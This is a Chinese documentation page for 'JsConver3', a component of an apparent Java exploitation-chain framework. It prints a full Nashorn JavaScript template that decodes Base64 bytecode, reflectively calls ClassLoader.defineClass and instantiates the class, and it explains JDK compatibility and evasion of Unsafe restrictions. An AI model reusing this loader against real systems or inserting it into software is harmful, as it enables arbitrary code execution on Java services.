Skip to content

Latest commit

 

History

History
62 lines (52 loc) · 4.22 KB

File metadata and controls

62 lines (52 loc) · 4.22 KB

将byte[]字节码转换为Js表达式字符串(JsConver3)

  • 类别:common 别名:— 优先级:50
  • 作者:—
  • 依赖8 <= jdk <= 14

作用

把内层 gadget 产出的 byte[] 字节码,编码为一段 JavaScript 表达式字符串。与 JsConvertJsConvert2 同属「字节码 → JS 表达式」转换环,但不使用 Unsafe,改用标准 java.lang.ClassLoader.defineClass 反射加载,以获得最大程度的类兼容性(description:「使用 ClassLoader 进行加载,最大程度上提供类兼容」)。

链接标签

  • 入口 tagsJs_ExprExpression —— 产物是可被 JS 引擎求值的表达式字符串。
  • 衔接 nextTagsBytecodeConvertTag —— 之后接产出原始 byte[] 字节码的转换环。
  • excludes:无。

源码剖析

public static String jsTemplate = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n"
  + "var clsString = classLoader.loadClass('java.lang.String');\n"
  + "var bytecodeBase64 = '%s';\n"
  + "var bytecode;\n"
  + "try{ ... clsBase64=loadClass('java.util.Base64'); ... decode ... }\n"
  + "catch (e) { ... loadClass('javax.xml.bind.DatatypeConverter').parseBase64Binary ... }\n"
  + "var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n"
  + "var clsByteArray = (new java.lang.String('a').getBytes().getClass());\n"
  + "var clsInt = java.lang.Integer.TYPE;\n"
  + "var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);\n"
  + "defineClass.setAccessible(true);\n"
  + "var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));\n"
  + "clazz.newInstance();";

private String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
    return String.format(jsTemplate, bytecodeB64);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[])chain.doCreate(context));
}

(上方 JS 模板为可读化折行,原始 jsTemplate 为单一长字符串。)逐段解释:

  • invokechain.doCreate(context) 取内层 byte[]getObjectBase64.encodeBase64String 编码后填入模板 %s
  • 模板 JS 执行逻辑:先取 Thread.currentThread().getContextClassLoader() 作为工作类加载器;bytecodeBase64 为填入的 Base64 串。
  • Base64 解码走双分支:tryjava.util.Base64.getDecoder().decode(...)(反射 getMethod('decode', String).invoke),catch 回退到 javax.xml.bind.DatatypeConverter.parseBase64Binary(兼容缺失 java.util.Base64 的旧环境)。
  • 关键点:反射获取 java.lang.ClassLoaderdefineClass(byte[], int, int) 三参方法(参数类型分别取 byte[]ClassInteger.TYPEInteger.TYPE),setAccessible(true) 后在 classLoader 实例上 invoke,偏移 0、长度 bytecode.length,得到 Class 对象并 newInstance()
  • 与前两者的本质区别:用标准 ClassLoader.defineClass 而非 Unsafe,因此不依赖 sun.misc.Unsafe 的可用性,对不同 JDK 小版本的类加载行为兼容性更好,故名「最大程度上提供类兼容」。

参数(@Param)

本类无 @Param。字节码内容由下游 nextTags=BytecodeConvertTag 的 gadget 决定。

适用版本与原理要点

  • 依赖 8 <= jdk <= 14:受 Nashorn 引擎生命周期约束(JDK 15 移除 Nashorn)。
  • 加载路径为标准 ClassLoader.defineClass 反射,避开 Unsafe,在 Unsafe.defineClass/defineAnonymousClass 被限制的环境下更稳。
  • Base64 解码带 DatatypeConverter 回退,兼容不含 java.util.Base64 的运行环境。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可作为 JsConvert 的兼容性替代,在需要 JS 表达式载体的自定义链中使用。

关联